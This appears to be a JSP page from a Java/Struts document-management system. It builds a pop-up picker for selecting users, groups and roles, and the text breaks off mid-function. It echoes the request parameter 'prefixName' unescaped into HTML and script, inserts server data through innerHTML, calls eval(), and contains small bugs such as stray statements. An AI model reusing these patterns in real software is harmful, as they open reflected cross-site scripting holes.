<%@page contentType="text/html;charset=UTF-8"%>
<%@taglib uri="/tags/struts-bean" prefix="bean"%>
<%@taglib uri="/tags/struts-html" prefix="html"%>
<%@taglib uri="/tags/struts-logic" prefix="logic"%>
<%@taglib uri="/tags/layout" prefix="layout"%>
<%@taglib uri="/tags/dms" prefix="dms"%>

<%@page import="com.dcivision.framework.web.WebUtil"%>
<%@page import="com.dcivision.framework.TextUtility"%>
<%@page import="com.dcivision.framework.InviteesPickerManager"%>
<%
	String prefixName = TextUtility.noNull(request.getParameter("prefixName"));
  String pageSize = TextUtility.noNull(request.getParameter("pageSize"));

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.reference_no","REFERENCE_NO"},
                            {"dms.label.description","DESCRIPTION"}};
%>
<div dojoType='dialog' id='<%=prefixName%>_showDialog' style='display:none;' bgColor='gray' bgOpacity='0.2' toggle='fade' toggleDuration='250'>
<div id='<%=prefixName%>_tabs_container' bgOpacity='1' style='overflow:auto; height:100px; width:100px; background-color:#FFFFFF;'>

<div class="popUpContainer">

  <div class="popupPanelTitle">
    <bean:message key="dms.label.select_user"/>
  </div>
  
<layout:tabContainer id="inviteePickerTab">
  <layout:tabBar>
    <layout:tabPane id='<%=prefixName + "_tab_main_user"%>' title="user.label.member_type_user" selected="true"/>   
    <layout:tabPane id='<%=prefixName + "_tab_main_group"%>' title="user.label.member_type_group"/>
    <layout:tabPane id='<%=prefixName + "_tab_main_role"%>' title="user.label.member_type_role"/>
  </layout:tabBar>
  <div id='<%=prefixName + "_tab_main_user"%>' class="tabContent">
    <div id="user_filterPanel" class="filterPanel filterPanelTopLine" style="display:block">
      <div>
        <table>
          <tr>
            <td class="filterPanelItem" nowrap>
              <bean:message key='dms.label.view_by'/>:
            </td>
            <td class="filterPanelItem" nowrap>
              <select name='<%=prefixName+"ViewType"%>' id='<%=prefixName+"ViewType"%>' class="form-style-2-pulldown" onchange="changeView('<%=prefixName%>')" >
                <option value="<%=InviteesPickerManager.TYPE_GROUP%>" selected><bean:message key='user.columnheader.user_group'/></option>
                <option value="<%=InviteesPickerManager.TYPE_ROLE%>"><bean:message key='user.columnheader.user_role'/></option>
                <option value="<%=InviteesPickerManager.TYPE_HIERARCHY%>"><bean:message key='staff.label.staff_hierarchy'/></option>
              </select>
            </td>
          </tr>
          <tr>
            <td class="filterPanelItem" nowrap>
              <bean:message key='dms.label.only_show_users_contain'/>:
            </td>
            <td class="filterPanelItem" nowrap>
              <%String keyUpString = prefixName+"_filter_for_userView(this,'" + prefixName + "_group_user_list','" + prefixName + "_role_user_list','" + prefixName + "_staffhierarchy_user_list')"; %>
              <input type="text" class="form-style-2-textfield" name='<%=prefixName+"UserNameContain"%>' id='<%=prefixName+"UserNameContain"%>' onkeyup='<%=keyUpString%>' />
            </td>
          </tr>
        </table>
      </div>
    </div>

    <div id='<%=prefixName + "_tab_group"%>' style="display:block;">
        <table width="100%"  cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td class="treeContainer" width="165px">
    		      <div id='<%=prefixName%>_group_tree' class="inviteeTree"></div>
            </td>
            <td>
    		      <div id='<%=prefixName%>_group_user_list' class="listTable inviteePickerListTable"></div>
            </td>
          </tr>
        </table>
	  </div>
	
    <div id='<%=prefixName + "_tab_role"%>' style="display:none;">
        <table width="100%"  cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td class="treeContainer" width="165px">
              <div id='<%=prefixName%>_role_tree' class="inviteeTree"></div>
            </td>
            <td>
              <div id='<%=prefixName%>_role_user_list' class="listTable inviteePickerListTable"></div>
            </td>
          </tr>
        </table>
	  </div>
	
    <div id='<%=prefixName + "_tab_staffhierarchy"%>' style="display:none;">
        <table width="100%"  cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td class="treeContainer" width="165px">
              <div id='<%=prefixName%>_staffhierarchy_tree' class="inviteeTree"></div> 
            </td>
            <td>
              <div id='<%=prefixName%>_staffhierarchy_user_list' class="listTable inviteePickerListTable"></div>
            </td>
          </tr>
        </table>
	  </div>

  </div>
  
  <div id='<%=prefixName + "_tab_main_group"%>' class="tabContent" >
    <div id="group_filterPanel" class="filterPanel filterPanelTopLine" style="display:block">
      <div>
        <table>
          <tr>
            <td class="filterPanelItem" nowrap>
              <bean:message key='dms.label.only_show_groups_contain'/>:
            </td>
            <td class="filterPanelItem" nowrap>
              <% keyUpString = prefixName+"_filter_for_groupView(this,'" + prefixName + "_group_list')"; %>
              <input type="text" class="form-style-2-textfield" name='<%=prefixName+"GroupNameContain"%>' id='<%=prefixName+"GroupNameContain"%>' onkeyup="<%=keyUpString%>" />
            </td>
          </tr>
        </table>
      </div>
    </div>

    <div id='<%=prefixName + "_table_group"%>'>
    		<div id='<%=prefixName%>_group_list' class="listTable inviteePickerMainListTable">
      </div>
    </div>

  </div>

  <div id='<%=prefixName + "_tab_main_role"%>' class="tabContent" >
    <div id="role_filterPanel" class="filterPanel filterPanelTopLine" style="display:block">
      <div>
        <table>
          <tr>
            <td class="filterPanelItem" nowrap>
              <bean:message key='dms.label.only_show_roles_contain'/>:
            </td>
            <td class="filterPanelItem" nowrap>
              <% keyUpString = prefixName+"_filter_for_roleView(this,'" + prefixName + "_role_list')"; %>
              <input type="text" class="form-style-2-textfield" name='<%=prefixName+"RoleNameContain"%>' id='<%=prefixName+"RoleNameContain"%>' onkeyup='<%=keyUpString%>' />
            </td>
          </tr>
        </table>
      </div>
    </div>

    <div id='<%=prefixName + "_table_role"%>'>
    		<div id='<%=prefixName%>_role_list' class="listTable inviteePickerMainListTable">
      </div>
    </div>

  </div>
</layout:tabContainer>


  <div id="popupPanelBottom">
    <div id="buttonSection">
      <%String clickString = prefixName + "_confirm('" + prefixName + "')";  %>
      <html:standardButton label="common.label.confirm" onClick="<%=clickString%>"/>
      <%clickString = prefixName + "_reset('" + prefixName + "')";  %>
      <html:standardButton label="common.label.reset" onClick="<%=clickString%>"/>
      <%clickString = prefixName + "_ReleaseCache();hideDialog('" + prefixName + "')";  %>
      <html:standardButton label="common.label.close" onClick="<%=clickString%>"/>
    </div>
  </div>

</div>

</div>
</div>

<script language='javascript'>
<!--
      var <%=prefixName%>userGOrderBy = "";
      var <%=prefixName%>userGReq = "";
      var <%=prefixName%>userROrderBy = "";
      var <%=prefixName%>userRReq = "";
      var <%=prefixName%>userSOrderBy = "";
      var <%=prefixName%>userSReq = "";
      var <%=prefixName%>KeyG = "";
      var <%=prefixName%>KeyR = "";
      var <%=prefixName%>KeyS = "";
      var <%=prefixName%>Hierarchy = "";

      function <%=prefixName%>_update_list(tab_list_id,datalist,searchUserName,type,key,hierarchy,startOffset,pageSize,orderBy,req){
        var pageInfo = datalist[datalist.length-1];
        var parameters = pageInfo.split(';');
        var startOffset = parameters[0].split(':')[1];
        var pageSize = parameters[1].split(':')[1];
        var orderBy = parameters[2].split(':')[1];
        var req = parameters[3].split(':')[1];
        var total = parameters[4].split(':')[1];
        var typeFunction = null;
        if (type == 'G') {
          typeFunction = "group";
          <%=prefixName%>userGOrderBy = orderBy;
          <%=prefixName%>userGReq = req;
          <%=prefixName%>KeyG = key;
        } else if (type == 'R'){
          typeFunction = 'role';
          <%=prefixName%>userROrderBy = orderBy;
          <%=prefixName%>userRReq = req;
          <%=prefixName%>KeyR = key;
        } else if (type == 'S'){
          typeFunction = 'staffhierarchy';
          <%=prefixName%>userSOrderBy = orderBy;
          <%=prefixName%>userSReq = req;
          <%=prefixName%>KeyS = key;
        }
        <%=prefixName%>Hierarchy = hierarchy;
        var ht = [];
        var sortImgPath = null;
        if (req == "ASC"){
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortAscOn.gif")%>";
        } else if (req == "DESC") {
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortDescOn.gif")%>";
        }
        ht.push("<div class='inviteeDataGridDiv'> " +
        	"<table cellspacing='0' cellpadding='0' width='100%' border='0'>" +
        	"	<thead>" +
        	"		<th><div class='firstsep'>"
        	);
        ht.push(
          "<input type='checkbox' id='" + type + "' onclick=<%=prefixName%>_select_all('" + type + "',this) />"
          );
        ht.push(
          "</div></th>"
          );
        ht.push(
        	"		<th>" +
        	"         <div class='sep'>"
        	);
        var fullNameReqTmp = '';
        if (orderBy == "FULL_NAME" && req == "ASC") {
          fullNameReqTmp = "DESC";
        } else {
          fullNameReqTmp = "ASC";
        }
        var fullNameClick = "<%=prefixName%>_update_" + typeFunction + "('<%=prefixName%>','" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','" + startOffset + "','" + pageSize + "','FULL_NAME','" + fullNameReqTmp + "')";
        ht.push("<a onclick=" + fullNameClick + " href='#'><bean:message key='user.columnheader.full_name'/></a>");
        if (orderBy == "FULL_NAME" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>"
        	);
        	
        ht.push(
        	"		<th>" +
        	"         <div class='sep'><bean:message key='alert.message.title'/>"
        	);
        if (orderBy == "TITLE" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>"
        	);
        /* add column staff hierarchy
        ht.push(
        	"		<th>" +
        	"         <div class='sep'>Staff Hierarchy"
        	);
        if (orderBy == "STAFF_HIERARCHY" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>"
        	);
        */
        ht.push("</thead>");
        
        for (var i=0;i<datalist.length-1;i++){
          ht.push(
          	"<tr style='cursor:pointer;' onmouseup='<%=prefixName%>_RowDown(this, \"" + datalist[i][0] + "\");' email='" + datalist[i][2] + "' username='" + datalist[i][1] + "'>" +
          	"<td>" +
          	"  <input name='<%=prefixName%>_users_checkbox' type='checkbox' value='" + datalist[i][0] + "' onclick=<%=prefixName%>_refreshCheckBox() email='" + datalist[i][2] + "' username='" + datalist[i][1] + "'/>" +
          	"</td>" +
          	"<td title='" + ((datalist[i][2]==null||datalist[i][2]=='')?'':datalist[i][2]) + "'>"
          	+ datalist[i][1] +
          	"</td>" +
          	"<td>" +
          	+ ((datalist[i][3]==null||datalist[i][3]=='')?'-':datalist[i][3]) +
          	"</td>"
          	);
          /* add column staff hierarchy
          var h = '';
          for (var j=0;j<10;j++){
            h += datalist[i][j+4];
            if (datalist[i][j+5]==null || datalist[i][j+5]==''){
              break;
            }
            h += '/';
          }
          ht.push("<td>"
          	+ ((h==null||h==''||h=='null')?'-':h) +
          	"</td>" +
          	"</tr>"
          	);*/
        }
        ht.push("</table></div>");

        //"<div class=\"listStatusBar\" style=\"position: absolute;bottom:-1px;width:auto;\">" +
        ht.push(
        	"<div class=\"listStatusBarNoBottom\">" +
        	"<div class='div-2-a'>"
        	);
        if (datalist.length <= 1){
          ht.push("No Record Found");
        } else {
          var endOffset = parseInt(startOffset)+datalist.length-2;
          ht.push('' + startOffset + "&nbsp;-&nbsp;" + endOffset + "&nbsp;of&nbsp;" + total + "&nbsp;record(s)");
        }
        ht.push(
        	"</div>"
        	);
        if (parseInt(total) > parseInt(pageSize)) {
        	ht.push("<div class=\"sepBar\">");
          if (parseInt(startOffset) + parseInt(pageSize) - 1 < total) {;
            var lastClick = "<%=prefixName%>_update_" + typeFunction + "('<%=prefixName%>','" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','" + (parseInt(total/pageSize)*pageSize+1) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + lastClick + "><div class=\"lastPage\"></div></A>");
            var nextClick = "<%=prefixName%>_update_" + typeFunction + "('<%=prefixName%>','" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','" + (parseInt(startOffset)+parseInt(pageSize)) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + nextClick + " ><div class=\"nextPage\"></div></A>")
          } else {
          	ht.push("<div class=\"lastPageDis\"></div>");
          	ht.push("<div class=\"nextPageDis\"></div>");
          }
          var pages = parseInt(total/pageSize)+1;
          var currPage = parseInt((parseInt(startOffset)+ parseInt(pageSize)-1)/pageSize);
          ht.push("<select class=\"pageSelector\" id=" + typeFunction + "_page_select name=selectPager onchange=<%=prefixName%>_page_select_change('<%=prefixName%>_" + typeFunction + "_user_list',this,'" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','" + startOffset + "','" + pageSize + "','" + orderBy + "','" + req + "') >");
          for(var i=1;i<=pages;i++){
            ht.push("<option value='" + i + "' ");
            if (currPage == i) {
              ht.push("selected='selected'");
            }
            selected='selected'
            ht.push(" >" + i + "</option>");
          }
          ht.push("</select>");
          if (startOffset > 1) {
            var previousClick = "<%=prefixName%>_update_" + typeFunction + "('<%=prefixName%>','" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','" + (parseInt(startOffset)-pageSize) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + previousClick + " ><div class=\"prePage\"></div></A>");
            var firstClick = "<%=prefixName%>_update_" + typeFunction + "('<%=prefixName%>','" + searchUserName + "','" + type + "','" + key + "','" + hierarchy + "','1','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + firstClick + " ><div class=\"firstPage\"></div></A>");
          } else {
          	ht.push("<div class=\"prePageDis\"></div>");
          	ht.push("<div class=\"firstPageDis\"></div>");
          }
          ht.push("</div>");
        } else {
        }
        ht.push(
        	"</div>"
        	);
        document.getElementById(tab_list_id).innerHTML = ht.join('');
        <%=prefixName%>_refreshCheckBox();
      }

      var <%=prefixName%>groupOrderBy = "";
      var <%=prefixName%>groupReq = "";

      function <%=prefixName%>_update_group_list(tab_list_id,datalist,searchGroupName,startOffset,pageSize,orderBy,req){
        var pageInfo = datalist[datalist.length-1];
        var parameters = pageInfo.split(';');
        var startOffset = parameters[0].split(':')[1];
        var pageSize = parameters[1].split(':')[1];
        var orderBy = parameters[2].split(':')[1];
        var req = parameters[3].split(':')[1];
        var total = parameters[4].split(':')[1];
        <%=prefixName%>groupOrderBy = orderBy;
        <%=prefixName%>groupReq = req;
        var ht = [];
        var sortImgPath = null;
        if (req == "ASC"){
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortAscOn.gif")%>";
        } else if (req == "DESC") {
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortDescOn.gif")%>";
        }
        
        ht.push("<div  class='inviteeDataGridDiv'> " +
        	"<table cellspacing='0' cellpadding='0' width='100%' border='0'>" +
        	"	<thead>" +
        	"		<th><div class='firstsep'>"
        	);
        ht.push(
          "<input type='checkbox' id='<%=InviteesPickerManager.GROUP_VIEW%>' onclick=<%=prefixName%>_select_all('<%=InviteesPickerManager.GROUP_VIEW%>',this) />"
          );
        ht.push(
          "</div></th>"
          );
        ht.push(
        	"		<th>" +
        	"         <div class='sep'>"
        	);
        var reqTmp = '';
        if (orderBy == "GROUP_NAME" && req == "ASC") {
          reqTmp = "DESC";
        } else {
          reqTmp = "ASC";
        }
        var groupNameClick = "<%=prefixName%>_update_group_tab('<%=prefixName%>','" + searchGroupName + "','" + startOffset + "','" + pageSize + "','GROUP_NAME','" + reqTmp + "')";
        ht.push("<a onclick=" + groupNameClick + " href='#'><bean:message key='contact.columnheader.group_name' /></a>");
        if (orderBy == "GROUP_NAME" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>"
        	);
        	
        ht.push(
        	"		<th>" +
        	"         <div class='sep'><bean:message key='user.columnheader.group_desc'/>"
        	);
        if (orderBy == "GROUP_DESC" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>" +
        	"	</thead>"
        	);
        
        for (var i=0;i<datalist.length-1;i++){
          ht.push(
            "<tr style='cursor:pointer;' onmouseup='<%=prefixName%>_GroupRowDown(this, \"" + datalist[i][0] + "\");' groupname='" + datalist[i][1] + "'>" +
          	"<td>" +
            "  <input name='<%=prefixName%>_groups_checkbox' type='checkbox' value='" + datalist[i][0] + "' onclick='<%=prefixName%>_refreshCheckBox()' groupname='" + datalist[i][1] + "'/>" +
            "</td>" +
            "<td >" + datalist[i][1] + "</td>" + 
            "<td >" + datalist[i][2] + "</td>"
            );
        }

        ht.push("</table></div>");


        //begin of list status bar
        ht.push(
        	"<div class=\"listStatusBarNoBottom\">" +
        	"<div class='div-2-a'>"
        	);
        if (datalist.length <= 1){
          ht.push("No Record Found");
        } else {
          var endOffset = parseInt(startOffset)+datalist.length-2;
          ht.push('' + startOffset + "&nbsp;-&nbsp;" + endOffset + "&nbsp;of&nbsp;" + total + "&nbsp;record(s)");
        }
        ht.push(
        	"</div>"
        	);
        if (parseInt(total) > parseInt(pageSize)) {
        	ht.push("<div class=\"sepBar\">");
          if (parseInt(startOffset) + parseInt(pageSize) - 1 < total) {;
            var lastClick = "<%=prefixName%>_update_group_tab('<%=prefixName%>','" + searchGroupName + "','" + (parseInt(total/pageSize)*pageSize+1) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + lastClick + "><div class=\"lastPage\"></div></A>");
            var nextClick = "<%=prefixName%>_update_group_tab('<%=prefixName%>','" + searchGroupName + "','" + (parseInt(startOffset)+parseInt(pageSize)) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + nextClick + " ><div class=\"nextPage\"></div></A>")
          } else {
          	ht.push("<div class=\"lastPageDis\"></div>");
          	ht.push("<div class=\"nextPageDis\"></div>");
          }
          var pages = parseInt(total/pageSize)+1;
          var currPage = parseInt((parseInt(startOffset)+ parseInt(pageSize)-1)/pageSize);
          ht.push("<select class=\"pageSelector\" id=group_page_select name=selectPager onchange=<%=prefixName%>_group_page_select_change('<%=prefixName%>_group_list',this,'" + searchGroupName + "','" + startOffset + "','" + pageSize + "','" + orderBy + "','" + req + "') >");
          for(var i=1;i<=pages;i++){
            ht.push("<option value='" + i + "' ");
            if (currPage == i) {
              ht.push("selected='selected'");
            }
            selected='selected'
            ht.push(" >" + i + "</option>");
          }
          ht.push("</select>");
          if (startOffset > 1) {
            var previousClick = "<%=prefixName%>_update_group_tab('<%=prefixName%>','" + searchGroupName + "','" + (parseInt(startOffset)-pageSize) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + previousClick + " ><div class=\"prePage\"></div></A>");
            var firstClick = "<%=prefixName%>_update_group_tab('<%=prefixName%>','" + searchGroupName + "','1','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + firstClick + " ><div class=\"firstPage\"></div></A>");
          } else {
          	ht.push("<div class=\"prePageDis\"></div>");
          	ht.push("<div class=\"firstPageDis\"></div>");
          }
          ht.push("</div>");
        } else {
        }
        ht.push(
        	"</div>" 
        	);
        //end of list status bar

        //begin of refresh data
        document.getElementById(tab_list_id).innerHTML = ht.join('');
        <%=prefixName%>_refreshCheckBox();
        //end of refresh data.
      }

      var <%=prefixName%>roleOrderBy = "";
      var <%=prefixName%>roleReq = "";

      function <%=prefixName%>_update_role_list(tab_list_id,datalist,searchRoleName,startOffset,pageSize,orderBy,req){
        var pageInfo = datalist[datalist.length-1];
        var parameters = pageInfo.split(';');
        var startOffset = parameters[0].split(':')[1];
        var pageSize = parameters[1].split(':')[1];
        var orderBy = parameters[2].split(':')[1];
        var req = parameters[3].split(':')[1];
        var total = parameters[4].split(':')[1];
        <%=prefixName%>roleOrderBy = orderBy;
        <%=prefixName%>roleReq = req;
        var ht = [];
        var sortImgPath = null;
        if (req == "ASC"){
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortAscOn.gif")%>";
        } else if (req == "DESC") {
          sortImgPath = "<%=WebUtil.getImage(pageContext.getRequest(), "IconPagerSortDescOn.gif")%>";
        }
        ht.push("<div  class='inviteeDataGridDiv'> " +
        	"<table cellspacing='0' cellpadding='0' width='100%' border='0'>" +
        	"	<thead>" +
        	"		<th><div class='firstsep'>"
        	);
        ht.push(
          "<input type='checkbox' id='<%=InviteesPickerManager.ROLE_VIEW%>' onclick=<%=prefixName%>_select_all('<%=InviteesPickerManager.ROLE_VIEW%>',this) />"
          );
        ht.push(
          "</div></th>"
          );
        ht.push(
        	"		<th>" +
        	"         <div class='sep'>"
        	);
        var reqTmp = '';
        if (orderBy == "ROLE_NAME" && req == "ASC") {
          reqTmp = "DESC";
        } else {
          reqTmp = "ASC";
        }
        var roleNameClick = "<%=prefixName%>_update_role_tab('<%=prefixName%>','" + searchRoleName + "','" + startOffset + "','" + pageSize + "','ROLE_NAME','" + reqTmp + "')";
        ht.push("<a onclick=" + roleNameClick + " href='#'><bean:message key='user.columnheader.role_name'/></a>");
        if (orderBy == "ROLE_NAME" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>"
        	);
        	
        ht.push(
        	"		<th>" +
        	"         <div class='sep'><bean:message key='user.columnheader.role_desc'/>"
        	);
        if (orderBy == "ROLE_DESC" && sortImgPath != null) {
          ht.push("<img src='" + sortImgPath + "' border=0>");
        }
        ht.push(
            "         </div>" +
        	"       </th>" +
        	"	</thead>"
        	);total
        
        for (var i=0;i<datalist.length-1;i++){
          ht.push(
            "<tr style='cursor:pointer;' onmouseup='<%=prefixName%>_RoleRowDown(this, \"" + datalist[i][0] + "\");' rolename='" + datalist[i][1] + "'>" +
          	"<td>" +
            "  <input name='<%=prefixName%>_roles_checkbox' type='checkbox' value='" + datalist[i][0] + "' onclick='<%=prefixName%>_refreshCheckBox()' rolename='" + datalist[i][1] + "'/>" +
            "</td>" +
            "<td >" + datalist[i][1] + "</td>" + 
            "<td >" + datalist[i][2] + "</td>"
            );
        }

        ht.push("</table></div>");


        //begin of list status bar
        ht.push(
        	"<div class=\"listStatusBarNoBottom\">" +
        	"<div class='div-2-a'>"
        	);
        if (datalist.length <= 1){
          ht.push("No Record Found");
        } else {
          var endOffset = parseInt(startOffset)+datalist.length-2;
          ht.push('' + startOffset + "&nbsp;-&nbsp;" + endOffset + "&nbsp;of&nbsp;" + total + "&nbsp;record(s)");
        }
        ht.push(
        	"</div>"
        	);
        if (parseInt(total) > parseInt(pageSize)) {
        	ht.push("<div class=\"sepBar\">");
          if (parseInt(startOffset) + parseInt(pageSize) - 1 < total) {;
            var lastClick = "<%=prefixName%>_update_role_tab('<%=prefixName%>','" + searchRoleName + "','" + (parseInt(total/pageSize)*pageSize+1) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + lastClick + "><div class=\"lastPage\"></div></A>");
            var nextClick = "<%=prefixName%>_update_role_tab('<%=prefixName%>','" + searchRoleName + "','" + (parseInt(startOffset)+parseInt(pageSize)) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + nextClick + " ><div class=\"nextPage\"></div></A>")
          } else {
          	ht.push("<div class=\"lastPageDis\"></div>");
          	ht.push("<div class=\"nextPageDis\"></div>");
          }
          var pages = parseInt(total/pageSize)+1;
          var currPage = parseInt((parseInt(startOffset)+ parseInt(pageSize)-1)/pageSize);
          ht.push("<select class=\"pageSelector\" id=role_page_select name=selectPager onchange=<%=prefixName%>_role_page_select_change('<%=prefixName%>_role_list',this,'" + searchRoleName + "','" + startOffset + "','" + pageSize + "','" + orderBy + "','" + req + "') >");
          for(var i=1;i<=pages;i++){
            ht.push("<option value='" + i + "' ");
            if (currPage == i) {
              ht.push("selected='selected'");
            }
            selected='selected'
            ht.push(" >" + i + "</option>");
          }
          ht.push("</select>");
          if (startOffset > 1) {
            var previousClick = "<%=prefixName%>_update_role_tab('<%=prefixName%>','" + searchRoleName + "','" + (parseInt(startOffset)-pageSize) + "','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + previousClick + " ><div class=\"prePage\"></div></A>");
            var firstClick = "<%=prefixName%>_update_role_tab('<%=prefixName%>','" + searchRoleName + "','1','" + pageSize + "','" + orderBy + "','" + req + "')";
            ht.push("<a href='#' onclick=" + firstClick + " ><div class=\"firstPage\"></div></A>");
          } else {
          	ht.push("<div class=\"prePageDis\"></div>");
          	ht.push("<div class=\"firstPageDis\"></div>");
          }
          ht.push("</div>");
        } else {
        }
        ht.push(
        	"</div>"
        	);
        //end of list status bar

        //begin of refresh data
        document.getElementById(tab_list_id).innerHTML = ht.join('');
        <%=prefixName%>_refreshCheckBox();
        //end of refresh data.
      }

      var <%=prefixName%>_firstOpenFlag = true;
      function <%=prefixName%>_popupUserBrowsering(){
        <%=prefixName%>_InitDialogCach();
        if (<%=prefixName%>_firstOpenFlag){
          InviteePickerDWRFacade.getGroupList({callback:function(data){eval('<%=prefixName%>_createGroupTree(\'<%=prefixName%>_group_tree\',data)');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
        } else {
          showDialog('<%=prefixName%>');
        }
      }
      function <%=prefixName%>_createGroupTree(groupTreeListID,groupList){
        var ht = [];
        ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeRoot.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_GroupTreeClick('<%=prefixName%>',this,'G',null,null,1,<%=pageSize%>,'FULL_NAME','ASC') >Group</span></div>");
        for (var i=0;i<groupList.length;i++){
          if (i+1==groupList.length){
            ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeL.gif")%>' align=absMiddle border=0 /><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconGroup.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_GroupTreeClick('<%=prefixName%>',this,'G','" + groupList[i][0] + "',null,1,<%=pageSize%>,'FULL_NAME','ASC') >" + groupList[i][1] + "</span></div>");
          } else {
            ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeT.gif")%>' align=absMiddle border=0 /><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconGroup.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_GroupTreeClick('<%=prefixName%>',this,'G','" + groupList[i][0] + "',null,1,<%=pageSize%>,'FULL_NAME','ASC') >" + groupList[i][1] + "</span></div>");
          }
        }
        document.getElementById(groupTreeListID).innerHTML = ht.join('');
        InviteePickerDWRFacade.getRoleList({callback:function(data){eval('<%=prefixName%>_createRoleTree(\'<%=prefixName%>_role_tree\',data)');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
      }
      function <%=prefixName%>_createRoleTree(roleTreeListID,roleList){
        var ht = [];
        ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeRoot.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_RoleTreeClick('<%=prefixName%>',this,'R','','',1,<%=pageSize%>,'FULL_NAME','ASC') >Role</span></div>");
        for (var i=0;i<roleList.length;i++){
          if (i+1==roleList.length){
            ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeL.gif")%>' align=absMiddle border=0 /><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconRole.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_RoleTreeClick('<%=prefixName%>',this,'R','" + roleList[i][0] + "','',1,<%=pageSize%>,'FULL_NAME','ASC') >" + roleList[i][1] + "</span></div>");
          } else {
            ht.push("<div><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeT.gif")%>' align=absMiddle border=0 /><img src='<%=WebUtil.getImage(pageContext.getRequest(), "IconRole.gif")%>' align=absMiddle border=0 />&nbsp;<span style='cursor:pointer;' onclick=<%=prefixName%>_RoleTreeClick('<%=prefixName%>',this,'R','" + roleList[i][0] + "','',1,<%=pageSize%>,'FULL_NAME','ASC') >" + roleList[i][1] + "</span></div>");
          }
        }
        document.getElementById(roleTreeListID).innerHTML = ht.join('');
        InviteePickerDWRFacade.getStaffHierarchyList({callback:function(data){eval('<%=prefixName%>_createStaffHierarchyTree(\'<%=prefixName%>_staffhierarchy_tree\',data)');},errorHandler:function(message){eval('timeOutError(message)');},timeout:10000});
      }
      function <%=prefixName%>_createStaffHierarchyTree(staffHierarchyTreeListID,staffHierarchyList){
        webFXTreeConfig.folderIcon = '<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeStaff.gif")%>';
        webFXTreeConfig.openFolderIcon = '<%=WebUtil.getImage(pageContext.getRequest(), "IconTreeStaff.gif")%>';
        var node0 = new WebFXTree('Staff Hierarchy', "javascript:<%=prefixName%>_StaffTreeClick('<%=prefixName%>',this,'S','','',1,<%=pageSize%>,'FULL_NAME','ASC')", '0');
        node0.setBehavior('explorer');
        var grandParentID = 0;
        for (var i=1;i<=staffHierarchyList.length;++i){
          var level = parseInt(staffHierarchyList[i-1][2]);
          if (staffHierarchyList[i-1][0]==grandParentID) {
            grandParentID = parseInt(staffHierarchyList[i-1][3]);
          }
          if (level<=10){
            eval("var node" + staffHierarchyList[i-1][0] + " = new WebFXTreeItem('" + staffHierarchyList[i-1][1].replace(/\'/gi,"\\'") + "',\"javascript:<%=prefixName%>_StaffTreeClick('<%=prefixName%>',this,'S','" + staffHierarchyList[i-1][0] + "','LVL" + level + "_NAME',1,<%=pageSize%>,'FULL_NAME','ASC')\",'0');");
          }
        }
        for (var i=1;i<=staffHierarchyList.length;++i){
